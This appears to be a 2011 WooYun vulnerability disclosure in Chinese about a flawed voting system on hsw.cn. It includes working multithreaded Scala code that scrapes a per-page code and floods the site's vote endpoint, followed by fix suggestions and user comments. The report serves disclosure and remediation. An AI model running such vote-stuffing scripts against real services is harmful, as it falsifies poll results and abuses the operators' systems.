当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-02378

漏洞标题:华商网 投票系统设计缺陷

相关厂商:华商网

漏洞作者: 小数点

提交时间:2011-07-04 00:06

修复时间:2011-07-04 13:12

公开时间:2011-07-04 13:12

漏洞类型:设计缺陷/逻辑错误

危害等级:低

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-07-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-07-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

投票限制形同虚设
专题地址:http://health.hsw.cn/system/2011/05/11/050936197.shtml

详细说明:


专题地址:http://health.hsw.cn/system/2011/05/11/050936197.shtml
firame嵌入投票地址:http://toupiao.hsw.cn/fangchan/index_all.php?table=109&n=75&width=125&height=160&s=5&widths=900
投票已代码里的一个code,及本地js判断cookie限制,系统虚设。
一个简单的多线程就能在几分钟内头上上万票。

漏洞证明:

上面的投票基本多少在几分钟内跑出来的。
测试的部分scala代码(自己封装的一个httpclient类):
val header = HttpClientService.getDefaultHeader
header += (("Referer", "http://toupiao.hsw.cn/fangchan/index_all.php?table=109&n=75&width=125&height=160&s=5&widths=900"))
val mybreaks = new scala.util.control.Breaks
import mybreaks.{break, breakable}
val num = 165
val countDownLatch = new CountDownLatch(num);
for (i <- 1 to num) {
val vid = i
new Thread() {
override def run() {
var httpClientService = new HttpClientServiceImpl
httpClientService.setCharset("UTF-8")
breakable {
for (j <- 1 to 10000) {
try {
var html = httpClientService.get("http://toupiao.hsw.cn/fangchan/index_all.php?table=109&n=75&width=125&height=160&s=5&widths=900")
val source = new Source(html)
val code = source.getElementById("code").getAttributeValue("value")
// println("code:" + code)
//var ret = httpClientService.get("http://toupiao.hsw.cn/fangchan/counts.php?action=result&vote_id=" + vid + "&value=1&table=109&a=" + code, null, header)
//println(this.getId + ":" + vid + ":" + ret)
//if (ret.trim.toInt < 148038) {
val ret = httpClientService.get("http://toupiao.hsw.cn/fangchan/counts.php?action=vote&vote_id=" + vid + "&value=1&table=109&a=" + code, null, header)
println(ret)
//} else {
// break
//}
} catch {
case e =>
e.printStackTrace()
}
}
}
countDownLatch.countDown()
}
}.start()
}
countDownLatch.await()

修复方案:

1.投票加ip限制
2.加用户登录及用户投票数限制
3.复杂的验证码
4.php内使用memcache的add方法,数据库唯一索引等防止并发

版权声明:转载请注明来源 小数点@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:12 (WooYun评价)


漏洞评价:

评论

  1. 2011-07-11 15:37 | 晴天小铸 ( 普通白帽子 | Rank:106 漏洞数:31 | 退出黑客界的纠纷,低调求发展。)

    JS 不错 学习

  2. 2011-07-11 23:18 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    赞解决方案!

  3. 2011-07-12 13:38 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:16 | 我怀念的是无话不说)

    如果是限制IP的话,那么整个局域网里的都没发投票了

  4. 2011-07-12 20:57 | wdlei ( 路人 | Rank:23 漏洞数:6 | 安全界里的年轻人。)

    IP限制指的是一个IP指能投一次票吧

  5. 2011-07-13 15:32 | tenzy ( 普通白帽子 | Rank:176 漏洞数:21 | Need not to know)

    回答楼上的。。。一个局域网通常只有一个IP,就是说一个学校几万人也只能投一次了。因此限制IP不是太好,强制手机注册帐号或邮件注册帐号进行投票可以减少无限制刷票。

  6. 2011-07-13 15:33 | 晴天小铸 ( 普通白帽子 | Rank:106 漏洞数:31 | 退出黑客界的纠纷,低调求发展。)

  7. 2012-04-10 01:34 | CplusHua ( 普通白帽子 | Rank:238 漏洞数:33 | 乌云奖金:-1)

    给的rank很高